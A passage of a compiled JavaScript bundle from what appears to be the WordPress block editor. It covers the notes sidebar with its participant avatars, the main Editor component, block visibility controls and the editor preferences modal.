29842 avatar: comment.author_avatar_urls?.["48"] || comment.author_avatar_urls?.["96"],
29843 id: comment.author,
29844 date: comment.date
29845 });
29846 }
29847 }
29848 });
29849 return Array.from(participantsMap.values());
29850 }, [thread]);
29851 if (!threadParticipants.length) {
29852 return null;
29853 }
29854 const maxAvatars = 3;
29855 const isOverflow = threadParticipants.length > maxAvatars;
29856 const visibleParticipants = isOverflow ? threadParticipants.slice(0, maxAvatars - 1) : threadParticipants;
29857 const overflowCount = Math.max(
29858 0,
29859 threadParticipants.length - visibleParticipants.length
29860 );
29861 const threadHasMoreParticipants = threadParticipants.length > 100;
29862 const overflowText = threadHasMoreParticipants && overflowCount > 0 ? (0,external_wp_i18n_namespaceObject.__)("100+") : (0,external_wp_i18n_namespaceObject.sprintf)(
29863 // translators: %s: Number of participants.
29864 (0,external_wp_i18n_namespaceObject.__)("+%s"),
29865 overflowCount
29866 );
29867 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CommentIconToolbarSlotFill.Fill, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29868 external_wp_components_namespaceObject.ToolbarButton,
29869 {
29870 className: "comment-avatar-indicator",
29871 label: (0,external_wp_i18n_namespaceObject.__)("View notes"),
29872 onClick,
29873 showTooltip: true,
29874 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { spacing: "1", children: [
29875 visibleParticipants.map((participant) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29876 "img",
29877 {
29878 src: participant.avatar,
29879 alt: participant.name,
29880 className: "comment-avatar",
29881 style: {
29882 borderColor: getAvatarBorderColor(
29883 participant.id
29884 )
29885 }
29886 },
29887 participant.id
29888 )),
29889 overflowCount > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { weight: 500, children: overflowText })
29890 ] })
29891 }
29892 ) });
29893};
29894var comment_indicator_toolbar_default = CommentAvatarIndicator;
29895
29896
29897;// ./node_modules/@wordpress/editor/build-module/components/collab-sidebar/index.js
29898
29899
29900
29901
29902
29903
29904
29905
29906
29907
29908
29909
29910
29911
29912
29913
29914
29915
29916
29917
29918function NotesSidebarContent({
29919 newNoteFormState,
29920 setNewNoteFormState,
29921 styles,
29922 comments,
29923 commentSidebarRef,
29924 reflowComments,
29925 commentLastUpdated,
29926 isFloating = false
29927}) {
29928 const { onCreate, onEdit, onDelete } = useBlockCommentsActions(reflowComments);
29929 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29930 external_wp_components_namespaceObject.__experimentalVStack,
29931 {
29932 className: "editor-collab-sidebar-panel",
29933 style: styles,
29934 role: "tree",
29935 spacing: "3",
29936 justify: "flex-start",
29937 ref: (node) => {
29938 if (node) {
29939 commentSidebarRef.current = node;
29940 }
29941 },
29942 "aria-label": isFloating ? (0,external_wp_i18n_namespaceObject.__)("Unresolved notes") : (0,external_wp_i18n_namespaceObject.__)("All notes"),
29943 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29944 Comments,
29945 {
29946 threads: comments,
29947 onEditComment: onEdit,
29948 onAddReply: onCreate,
29949 onCommentDelete: onDelete,
29950 newNoteFormState,
29951 setNewNoteFormState,
29952 commentSidebarRef,
29953 reflowComments,
29954 commentLastUpdated,
29955 isFloating
29956 }
29957 )
29958 }
29959 );
29960}
29961function NotesSidebar({ postId, mode }) {
29962 const [newNoteFormState, setNewNoteFormState] = (0,external_wp_element_namespaceObject.useState)("closed");
29963 const { getActiveComplementaryArea } = (0,external_wp_data_namespaceObject.useSelect)(store);
29964 const { enableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store);
29965 const { toggleBlockSpotlight } = unlock((0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store));
29966 const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium");
29967 const commentSidebarRef = (0,external_wp_element_namespaceObject.useRef)(null);
29968 const showFloatingSidebar = isLargeViewport && mode === "post-only";
29969 const { clientId, blockCommentId, isDistractionFree } = (0,external_wp_data_namespaceObject.useSelect)(
29970 (select) => {
29971 const {
29972 getBlockAttributes,
29973 getSelectedBlockClientId,
29974 getSettings
29975 } = select(external_wp_blockEditor_namespaceObject.store);
29976 const _clientId = getSelectedBlockClientId();
29977 return {
29978 clientId: _clientId,
29979 blockCommentId: _clientId ? getBlockAttributes(_clientId)?.metadata?.noteId : null,
29980 isDistractionFree: getSettings().isDistractionFree
29981 };
29982 },
29983 []
29984 );
29985 const {
29986 resultComments,
29987 unresolvedSortedThreads,
29988 reflowComments,
29989 commentLastUpdated
29990 } = useBlockComments(postId);
29991 useEnableFloatingSidebar(
29992 showFloatingSidebar && (unresolvedSortedThreads.length > 0 || newNoteFormState !== "closed")
29993 );
29994 const { merged: GlobalStyles } = useGlobalStylesContext();
29995 const backgroundColor = GlobalStyles?.styles?.color?.background;
29996 const currentThread = blockCommentId ? resultComments.find((thread) => thread.id === blockCommentId) : null;
29997 const showAllNotesSidebar = resultComments.length > 0 || !showFloatingSidebar;
29998 async function openTheSidebar() {
29999 const prevArea = await getActiveComplementaryArea("core");
30000 const activeNotesArea = SIDEBARS.find((name) => name === prevArea);
30001 if (currentThread?.status === "approved") {
30002 enableComplementaryArea("core", collabHistorySidebarName);
30003 } else if (!activeNotesArea || !showAllNotesSidebar) {
30004 enableComplementaryArea(
30005 "core",
30006 showFloatingSidebar ? collabSidebarName : collabHistorySidebarName
30007 );
30008 }
30009 const currentArea = await getActiveComplementaryArea("core");
30010 if (!SIDEBARS.includes(currentArea)) {
30011 return;
30012 }
30013 setNewNoteFormState(!currentThread ? "open" : "closed");
30014 focusCommentThread(
30015 currentThread?.id,
30016 commentSidebarRef.current,
30017 // Focus a comment thread when there's a selected block with a comment.
30018 !currentThread ? "textarea" : void 0
30019 );
30020 toggleBlockSpotlight(clientId, true);
30021 }
30022 if (isDistractionFree) {
30023 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(comment_menu_item_default, { isDistractionFree: true });
30024 }
30025 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
30026 !!currentThread && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30027 comment_indicator_toolbar_default,
30028 {
30029 thread: currentThread,
30030 onClick: openTheSidebar
30031 }
30032 ),
30033 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(comment_menu_item_default, { onClick: openTheSidebar }),
30034 showAllNotesSidebar && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30035 PluginSidebar,
30036 {
30037 identifier: collabHistorySidebarName,
30038 name: collabHistorySidebarName,
30039 title: (0,external_wp_i18n_namespaceObject.__)("All notes"),
30040 header: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { className: "interface-complementary-area-header__title", children: (0,external_wp_i18n_namespaceObject.__)("All notes") }),
30041 icon: comment_default,
30042 closeLabel: (0,external_wp_i18n_namespaceObject.__)("Close Notes"),
30043 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30044 NotesSidebarContent,
30045 {
30046 comments: resultComments,
30047 newNoteFormState,
30048 setNewNoteFormState,
30049 commentSidebarRef,
30050 reflowComments,
30051 commentLastUpdated
30052 }
30053 )
30054 }
30055 ),
30056 isLargeViewport && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30057 PluginSidebar,
30058 {
30059 isPinnable: false,
30060 header: false,
30061 identifier: collabSidebarName,
30062 className: "editor-collab-sidebar",
30063 headerClassName: "editor-collab-sidebar__header",
30064 backgroundColor,
30065 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30066 NotesSidebarContent,
30067 {
30068 comments: unresolvedSortedThreads,
30069 newNoteFormState,
30070 setNewNoteFormState,
30071 commentSidebarRef,
30072 reflowComments,
30073 commentLastUpdated,
30074 styles: {
30075 backgroundColor
30076 },
30077 isFloating: true
30078 }
30079 )
30080 }
30081 )
30082 ] });
30083}
30084function NotesSidebarContainer() {
30085 const { postId, mode, editorMode } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
30086 const { getCurrentPostId, getRenderingMode, getEditorMode } = select(store_store);
30087 return {
30088 postId: getCurrentPostId(),
30089 mode: getRenderingMode(),
30090 editorMode: getEditorMode()
30091 };
30092 }, []);
30093 if (!postId || typeof postId !== "number") {
30094 return null;
30095 }
30096 if (editorMode === "text") {
30097 return null;
30098 }
30099 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check_default, { supportKeys: "editor.notes", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NotesSidebar, { postId, mode }) });
30100}
30101
30102
30103;// ./node_modules/@wordpress/editor/build-module/components/editor/index.js
30104
30105
30106
30107
30108
30109
30110
30111
30112
30113
30114function Editor({
30115 postType,
30116 postId,
30117 templateId,
30118 settings,
30119 children,
30120 initialEdits,
30121 // This could be part of the settings.
30122 onActionPerformed,
30123 // The following abstractions are not ideal but necessary
30124 // to account for site editor and post editor differences for now.
30125 extraContent,
30126 extraSidebarPanels,
30127 ...props
30128}) {
30129 const { post, template, hasLoadedPost, error } = (0,external_wp_data_namespaceObject.useSelect)(
30130 (select) => {
30131 const {
30132 getEntityRecord,
30133 getResolutionError,
30134 hasFinishedResolution
30135 } = select(external_wp_coreData_namespaceObject.store);
30136 const postArgs = ["postType", postType, postId];
30137 return {
30138 post: getEntityRecord(...postArgs),
30139 template: templateId ? getEntityRecord(
30140 "postType",
30141 TEMPLATE_POST_TYPE,
30142 templateId
30143 ) : void 0,
30144 hasLoadedPost: hasFinishedResolution(
30145 "getEntityRecord",
30146 postArgs
30147 ),
30148 error: getResolutionError("getEntityRecord", postArgs)?.message
30149 };
30150 },
30151 [postType, postId, templateId]
30152 );
30153 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
30154 hasLoadedPost && !post && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30155 external_wp_components_namespaceObject.Notice,
30156 {
30157 status: !!error ? "error" : "warning",
30158 isDismissible: false,
30159 children: !error ? (0,external_wp_i18n_namespaceObject.__)(
30160 "You attempted to edit an item that doesn't exist. Perhaps it was deleted?"
30161 ) : error
30162 }
30163 ),
30164 !!post && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
30165 ExperimentalEditorProvider,
30166 {
30167 post,
30168 __unstableTemplate: template,
30169 settings,
30170 initialEdits,
30171 useSubRegistry: false,
30172 children: [
30173 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditorInterface, { ...props, children: extraContent }),
30174 children,
30175 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30176 sidebar_sidebar_default,
30177 {
30178 onActionPerformed,
30179 extraPanels: extraSidebarPanels
30180 }
30181 ),
30182 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NotesSidebarContainer, {})
30183 ]
30184 }
30185 )
30186 ] });
30187}
30188var editor_default = Editor;
30189
30190
30191;// ./node_modules/@wordpress/editor/build-module/components/preferences-modal/enable-publish-sidebar.js
30192
30193
30194
30195
30196
30197const { PreferenceBaseOption: enable_publish_sidebar_PreferenceBaseOption } = unlock(external_wp_preferences_namespaceObject.privateApis);
30198function EnablePublishSidebarOption(props) {
30199 const isChecked = (0,external_wp_data_namespaceObject.useSelect)((select) => {
30200 return select(store_store).isPublishSidebarEnabled();
30201 }, []);
30202 const { enablePublishSidebar, disablePublishSidebar } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
30203 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30204 enable_publish_sidebar_PreferenceBaseOption,
30205 {
30206 isChecked,
30207 onChange: (isEnabled) => isEnabled ? enablePublishSidebar() : disablePublishSidebar(),
30208 ...props
30209 }
30210 );
30211}
30212
30213
30214;// ./node_modules/@wordpress/editor/build-module/components/block-visibility/index.js
30215
30216
30217
30218
30219
30220
30221
30222
30223
30224
30225const { BlockManager } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
30226const block_visibility_EMPTY_ARRAY = [];
30227function BlockVisibility() {
30228 const { showBlockTypes, hideBlockTypes } = unlock(
30229 (0,external_wp_data_namespaceObject.useDispatch)(store_store)
30230 );
30231 const {
30232 blockTypes,
30233 allowedBlockTypes: _allowedBlockTypes,
30234 hiddenBlockTypes: _hiddenBlockTypes
30235 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
30236 return {
30237 blockTypes: select(external_wp_blocks_namespaceObject.store).getBlockTypes(),
30238 allowedBlockTypes: select(store_store).getEditorSettings().allowedBlockTypes,
30239 hiddenBlockTypes: select(external_wp_preferences_namespaceObject.store).get("core", "hiddenBlockTypes") ?? block_visibility_EMPTY_ARRAY
30240 };
30241 }, []);
30242 const allowedBlockTypes = (0,external_wp_element_namespaceObject.useMemo)(() => {
30243 if (_allowedBlockTypes === true) {
30244 return blockTypes;
30245 }
30246 return blockTypes.filter(({ name }) => {
30247 return _allowedBlockTypes?.includes(name);
30248 });
30249 }, [_allowedBlockTypes, blockTypes]);
30250 const filteredBlockTypes = allowedBlockTypes.filter(
30251 (blockType) => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockType, "inserter", true) && (!blockType.parent || blockType.parent.includes("core/post-content"))
30252 );
30253 const hiddenBlockTypes = _hiddenBlockTypes.filter((hiddenBlock) => {
30254 return filteredBlockTypes.some(
30255 (registeredBlock) => registeredBlock.name === hiddenBlock
30256 );
30257 });
30258 const selectedBlockTypes = filteredBlockTypes.filter(
30259 (blockType) => !hiddenBlockTypes.includes(blockType.name)
30260 );
30261 const numberOfHiddenBlocks = filteredBlockTypes.length - selectedBlockTypes.length;
30262 function enableAllBlockTypes() {
30263 onChangeSelectedBlockTypes(filteredBlockTypes);
30264 }
30265 const onChangeSelectedBlockTypes = (newSelectedBlockTypes) => {
30266 if (selectedBlockTypes.length > newSelectedBlockTypes.length) {
30267 const blockTypesToHide = selectedBlockTypes.filter(
30268 (blockType) => !newSelectedBlockTypes.find(
30269 ({ name }) => name === blockType.name
30270 )
30271 );
30272 hideBlockTypes(blockTypesToHide.map(({ name }) => name));
30273 } else if (selectedBlockTypes.length < newSelectedBlockTypes.length) {
30274 const blockTypesToShow = newSelectedBlockTypes.filter(
30275 (blockType) => !selectedBlockTypes.find(
30276 ({ name }) => name === blockType.name
30277 )
30278 );
30279 showBlockTypes(blockTypesToShow.map(({ name }) => name));
30280 }
30281 };
30282 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-block-visibility", children: [
30283 !!numberOfHiddenBlocks && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-block-visibility__disabled-blocks-count", children: [
30284 (0,external_wp_i18n_namespaceObject.sprintf)(
30285 /* translators: %d: number of blocks. */
30286 (0,external_wp_i18n_namespaceObject._n)(
30287 "%d block is hidden.",
30288 "%d blocks are hidden.",
30289 numberOfHiddenBlocks
30290 ),
30291 numberOfHiddenBlocks
30292 ),
30293 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30294 external_wp_components_namespaceObject.Button,
30295 {
30296 __next40pxDefaultSize: true,
30297 variant: "link",
30298 onClick: enableAllBlockTypes,
30299 children: (0,external_wp_i18n_namespaceObject.__)("Reset")
30300 }
30301 )
30302 ] }),
30303 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30304 BlockManager,
30305 {
30306 blockTypes: filteredBlockTypes,
30307 selectedBlockTypes,
30308 onChange: onChangeSelectedBlockTypes,
30309 showSelectAll: false
30310 }
30311 )
30312 ] });
30313}
30314
30315
30316;// ./node_modules/@wordpress/editor/build-module/components/preferences-modal/index.js
30317
30318
30319
30320
30321
30322
30323
30324
30325
30326
30327
30328
30329
30330
30331
30332
30333
30334
30335const {
30336 PreferencesModal,
30337 PreferencesModalTabs,
30338 PreferencesModalSection,
30339 PreferenceToggleControl
30340} = unlock(external_wp_preferences_namespaceObject.privateApis);
30341function EditorPreferencesModal({ extraSections = {} }) {
30342 const isActive = (0,external_wp_data_namespaceObject.useSelect)((select) => {
30343 return select(store).isModalActive("editor/preferences");
30344 }, []);
30345 const { closeModal } = (0,external_wp_data_namespaceObject.useDispatch)(store);
30346 if (!isActive) {
30347 return null;
30348 }
30349 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferencesModal, { closeModal, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferencesModalContents, { extraSections }) });
30350}
30351function PreferencesModalContents({ extraSections = {} }) {
30352 const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium");
30353 const showBlockBreadcrumbsOption = (0,external_wp_data_namespaceObject.useSelect)(
30354 (select) => {
30355 const { getEditorSettings } = select(store_store);
30356 const { get } = select(external_wp_preferences_namespaceObject.store);
30357 const isRichEditingEnabled = getEditorSettings().richEditingEnabled;
30358 const isDistractionFreeEnabled = get("core", "distractionFree");
30359 return !isDistractionFreeEnabled && isLargeViewport && isRichEditingEnabled;
30360 },
30361 [isLargeViewport]
30362 );
30363 const { setIsListViewOpened, setIsInserterOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
30364 const { set: setPreference } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
30365 const sections = (0,external_wp_element_namespaceObject.useMemo)(
30366 () => [
30367 {
30368 name: "general",
30369 tabLabel: (0,external_wp_i18n_namespaceObject.__)("General"),
30370 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
30371 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
30372 PreferencesModalSection,
30373 {
30374 title: (0,external_wp_i18n_namespaceObject.__)("Interface"),
30375 children: [
30376 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30377 PreferenceToggleControl,
30378 {
30379 scope: "core",
30380 featureName: "showListViewByDefault",
30381 help: (0,external_wp_i18n_namespaceObject.__)(
30382 "Opens the List View panel by default."
30383 ),
30384 label: (0,external_wp_i18n_namespaceObject.__)("Always open List View")
30385 }
30386 ),
30387 showBlockBreadcrumbsOption && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30388 PreferenceToggleControl,
30389 {
30390 scope: "core",
30391 featureName: "showBlockBreadcrumbs",
30392 help: (0,external_wp_i18n_namespaceObject.__)(
30393 "Display the block hierarchy trail at the bottom of the editor."
30394 ),
30395 label: (0,external_wp_i18n_namespaceObject.__)("Show block breadcrumbs")
30396 }
30397 ),
30398 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30399 PreferenceToggleControl,
30400 {
30401 scope: "core",
30402 featureName: "allowRightClickOverrides",
30403 help: (0,external_wp_i18n_namespaceObject.__)(
30404 "Allows contextual List View menus via right-click, overriding browser defaults."
30405 ),
30406 label: (0,external_wp_i18n_namespaceObject.__)(
30407 "Allow right-click contextual menus"
30408 )
30409 }
30410 ),
30411 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30412 PreferenceToggleControl,
30413 {
30414 scope: "core",
30415 featureName: "enableChoosePatternModal",
30416 help: (0,external_wp_i18n_namespaceObject.__)(
30417 "Pick from starter content when creating a new page."
30418 ),
30419 label: (0,external_wp_i18n_namespaceObject.__)("Show starter patterns")
30420 }
30421 )
30422 ]
30423 }
30424 ),
30425 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
30426 PreferencesModalSection,
30427 {
30428 title: (0,external_wp_i18n_namespaceObject.__)("Document settings"),
30429 description: (0,external_wp_i18n_namespaceObject.__)(
30430 "Select what settings are shown in the document panel."
30431 ),
30432 children: [
30433 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(enable_plugin_document_setting_panel_default.Slot, {}),
30434 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30435 post_taxonomies_default,
30436 {
30437 taxonomyWrapper: (content, taxonomy) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30438 EnablePanelOption,
30439 {
30440 label: taxonomy.labels.menu_name,
30441 panelName: `taxonomy-panel-${taxonomy.slug}`
30442 }
30443 )
30444 }
30445 ),
30446 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_featured_image_check_check_default, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30447 EnablePanelOption,
30448 {
30449 label: (0,external_wp_i18n_namespaceObject.__)("Featured image"),
30450 panelName: "featured-image"
30451 }
30452 ) }),
30453 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_excerpt_check_check_default, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30454 EnablePanelOption,
30455 {
30456 label: (0,external_wp_i18n_namespaceObject.__)("Excerpt"),
30457 panelName: "post-excerpt"
30458 }
30459 ) }),
30460 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30461 post_type_support_check_default,
30462 {
30463 supportKeys: ["comments", "trackbacks"],
30464 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30465 EnablePanelOption,
30466 {
30467 label: (0,external_wp_i18n_namespaceObject.__)("Discussion"),
30468 panelName: "discussion-panel"
30469 }
30470 )
30471 }
30472 ),
30473 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(check_check_default, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30474 EnablePanelOption,
30475 {
30476 label: (0,external_wp_i18n_namespaceObject.__)("Page attributes"),
30477 panelName: "page-attributes"
30478 }
30479 ) })
30480 ]
30481 }
30482 ),
30483 isLargeViewport && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30484 PreferencesModalSection,
30485 {
30486 title: (0,external_wp_i18n_namespaceObject.__)("Publishing"),
30487 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30488 EnablePublishSidebarOption,
30489 {
30490 help: (0,external_wp_i18n_namespaceObject.__)(
30491 "Review settings, such as visibility and tags."
30492 ),
30493 label: (0,external_wp_i18n_namespaceObject.__)(
30494 "Enable pre-publish checks"
30495 )
30496 }
30497 )
30498 }
30499 ),
30500 extraSections?.general
30501 ] })
30502 },
30503 {
30504 name: "appearance",
30505 tabLabel: (0,external_wp_i18n_namespaceObject.__)("Appearance"),
30506 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
30507 PreferencesModalSection,
30508 {
30509 title: (0,external_wp_i18n_namespaceObject.__)("Appearance"),
30510 description: (0,external_wp_i18n_namespaceObject.__)(
30511 "Customize the editor interface to suit your needs."
30512 ),
30513 children: [
30514 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30515 PreferenceToggleControl,
30516 {
30517 scope: "core",
30518 featureName: "fixedToolbar",
30519 onToggle: () => setPreference(
30520 "core",
30521 "distractionFree",
30522 false
30523 ),
30524 help: (0,external_wp_i18n_namespaceObject.__)(
30525 "Access all block and document tools in a single place."
30526 ),
30527 label: (0,external_wp_i18n_namespaceObject.__)("Top toolbar")
30528 }
30529 ),
30530 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30531 PreferenceToggleControl,
30532 {
30533 scope: "core",
30534 featureName: "distractionFree",
30535 onToggle: () => {
30536 setPreference(
30537 "core",
30538 "fixedToolbar",
30539 true
30540 );
30541 setIsInserterOpened(false);
30542 setIsListViewOpened(false);
30543 },
30544 help: (0,external_wp_i18n_namespaceObject.__)(
30545 "Reduce visual distractions by hiding the toolbar and other elements to focus on writing."
30546 ),
30547 label: (0,external_wp_i18n_namespaceObject.__)("Distraction free")
30548 }
30549 ),
30550 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30551 PreferenceToggleControl,
30552 {
30553 scope: "core",
30554 featureName: "focusMode",
30555 help: (0,external_wp_i18n_namespaceObject.__)(
30556 "Highlights the current block and fades other content."
30557 ),
30558 label: (0,external_wp_i18n_namespaceObject.__)("Spotlight mode")
30559 }
30560 ),
30561 extraSections?.appearance
30562 ]
30563 }
30564 )
30565 },
30566 {
30567 name: "accessibility",
30568 tabLabel: (0,external_wp_i18n_namespaceObject.__)("Accessibility"),
30569 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
30570 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30571 PreferencesModalSection,
30572 {
30573 title: (0,external_wp_i18n_namespaceObject.__)("Navigation"),
30574 description: (0,external_wp_i18n_namespaceObject.__)(
30575 "Optimize the editing experience for enhanced control."
30576 ),
30577 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30578 PreferenceToggleControl,
30579 {
30580 scope: "core",
30581 featureName: "keepCaretInsideBlock",
30582 help: (0,external_wp_i18n_namespaceObject.__)(
30583 "Keeps the text cursor within blocks while navigating with arrow keys, preventing it from moving to other blocks and enhancing accessibility for keyboard users."
30584 ),
30585 label: (0,external_wp_i18n_namespaceObject.__)(
30586 "Contain text cursor inside block"
30587 )
30588 }
30589 )
30590 }
30591 ),
30592 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30593 PreferencesModalSection,
30594 {
30595 title: (0,external_wp_i18n_namespaceObject.__)("Interface"),
30596 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30597 PreferenceToggleControl,
30598 {
30599 scope: "core",
30600 featureName: "showIconLabels",
30601 label: (0,external_wp_i18n_namespaceObject.__)("Show button text labels"),
30602 help: (0,external_wp_i18n_namespaceObject.__)(
30603 "Show text instead of icons on buttons across the interface."
30604 )
30605 }
30606 )
30607 }
30608 )
30609 ] })
30610 },
30611 {
30612 name: "blocks",
30613 tabLabel: (0,external_wp_i18n_namespaceObject.__)("Blocks"),
30614 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
30615 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferencesModalSection, { title: (0,external_wp_i18n_namespaceObject.__)("Inserter"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30616 PreferenceToggleControl,
30617 {
30618 scope: "core",
30619 featureName: "mostUsedBlocks",
30620 help: (0,external_wp_i18n_namespaceObject.__)(
30621 "Adds a category with the most frequently used blocks in the inserter."
30622 ),
30623 label: (0,external_wp_i18n_namespaceObject.__)("Show most used blocks")
30624 }
30625 ) }),
30626 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30627 PreferencesModalSection,
30628 {
30629 title: (0,external_wp_i18n_namespaceObject.__)("Manage block visibility"),
30630 description: (0,external_wp_i18n_namespaceObject.__)(
30631 "Disable blocks that you don't want to appear in the inserter. They can always be toggled back on later."
30632 ),
30633 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockVisibility, {})
30634 }
30635 )
30636 ] })
30637 },
30638 window.__experimentalMediaProcessing && {
30639 name: "media",
30640 tabLabel: (0,external_wp_i18n_namespaceObject.__)("Media"),
30641 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
30642 PreferencesModalSection,
30643 {
30644 title: (0,external_wp_i18n_namespaceObject.__)("General"),
30645 description: (0,external_wp_i18n_namespaceObject.__)(
30646 "Customize options related to the media upload flow."
30647 ),
30648 children: [
30649 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30650 PreferenceToggleControl,
30651 {
30652 scope: "core/media",
30653 featureName: "optimizeOnUpload",
30654 help: (0,external_wp_i18n_namespaceObject.__)(
30655 "Compress media items before uploading to the server."
30656 ),
30657 label: (0,external_wp_i18n_namespaceObject.__)("Pre-upload compression")
30658 }
30659 ),
30660 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30661 PreferenceToggleControl,
30662 {
30663 scope: "core/media",
30664 featureName: "requireApproval",
30665 help: (0,external_wp_i18n_namespaceObject.__)(
30666 "Require approval step when optimizing existing media."
30667 ),
30668 label: (0,external_wp_i18n_namespaceObject.__)("Approval step")
30669 }
30670 )
30671 ]
30672 }
30673 ) })
30674 }
30675 ].filter(Boolean),
30676 [
30677 showBlockBreadcrumbsOption,
30678 extraSections,
30679 setIsInserterOpened,
30680 setIsListViewOpened,
30681 setPreference,
30682 isLargeViewport
30683 ]
30684 );
30685 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferencesModalTabs, { sections });
30686}
30687
30688
